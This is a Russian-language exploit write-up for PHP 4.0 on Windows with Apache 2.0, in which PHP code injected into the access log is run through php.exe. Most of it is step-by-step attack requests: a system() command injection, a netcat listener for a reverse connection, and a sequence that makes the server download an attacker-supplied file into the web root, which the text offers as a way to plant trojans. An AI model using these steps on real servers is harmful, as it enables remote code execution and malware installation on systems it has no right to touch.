Резюме
Серьезная уязвимость безопасности была найдена в PHP для Windows. Суть уязвимости: можно использовать возможность PHP обращаться к файлам вне корневой HTML директории, чтобы выполнить произвольный код, путем внедрения PHP команд в логи Apache.
Детали
Уязвимая система:
PHP версии 4.0 с Apache Server версии 2.0
Эксплоит (выполненяем команды):
Предположим, что пользователь установил сервер Apache в директорию "c:apache" и что php.exe был по умолчанию установлен в "c:phpphp.exe", эксплоит для получения прав администратора следующий:
В броузере даем запрос:
1) http://www.example.com/<? system('команду_для_исполнения_с_указанием_пути');%20?>
Apache добавит эту строку в файл access.log. Запросив лог файл при помощи php.exe эксплоита мы можем запустить php системный код следующим образом :
2) http://www.example.com/php/php.exe?c:ap … access.log
Это запустит приведенный выше php код.
Чтоы получить root нужно заставить веб-сервер установить обратную telnet связь, запустив netcat со следующими параметрами:
"nc -l -n -v -p "
как видите, это очень простой способ вломиться на сервер при помощи php.exe эксплоита.
Эксплоит (загружаем файлы):
1) создаем текстовый файл на веб-сервере с именем mytestfile.txt
2) записываем в него коросткую строку текста.
3) проверяем размер файла (в байтах).
4) проверяем возможность доступа к файлу через броузер http://[IP_НАШЕГО_СЕРВЕРА]/mytestfile.txt
5) проверяем существование файла на сайте http://www.example.com/mytestfile.txt через броузер.
6) теперь делаем 4 запроса (если броузер типа не коннектится - не беспокойтесь. Не надо жать кнопку "обновить", работать не будет. Не забудьте заменить содержимое в скобках в запросе)
7) делаем следующий запрос в броузере http://www.example.com/<?$fp=fopen("http://[IP_НАШЕГО_СЕРВЕРА]/mytestfile.txt"," rb");?>
8) ждем около 10 секунд
9) делаем запрос http://www.example.com/<?$contents=fread($fp,[ЗДЕСЬ_УКАЗАТЬ_РАЗМЕР_ФАЙЛА]);?>
10) ждем около 10 секунд
11) делаем запрос http://www.example.com/<?$fq=fopen("c:/Apache2/htdocs/mytestfile.txt","wb");?>
12) ждем около 10 секунд
13) делаем запрос http://www.example.com/<?fwrite($fq,$contents);?>
14) ждем около 10 секунд
15) делаем запрос несуществующего файла (чтобы зафлудить лог доступа) следующим образом http://www.example.com/nonexistantfile.htm
16) ждем около 10 секунд
17) делаем запрос к php.exe для выполнения кода в логе Apapche: http://www.example.com/php/php.exe?c:ap … access.log
18) теперь жмем на кнопку "обновить", чтобы убедиться в выполнение кода из лога.
19) проверяем наличие файла на сервере: http://www.example.com/mytestfile.txt
А произошло то, что php.exe запустил php код, который мы записали в лог файл apache. Код в логе давал указание веб-серверу скачать файл с вашего сарвера и записать его в директорию с Apache. Загружаемый файл может быть абсолютно любым (троян, php, exe и т.п.). Нет никаких ограничений на загрузку. Это простой способ загрузить троянца с CGI заголовками и запустить его на выполнение через броузер.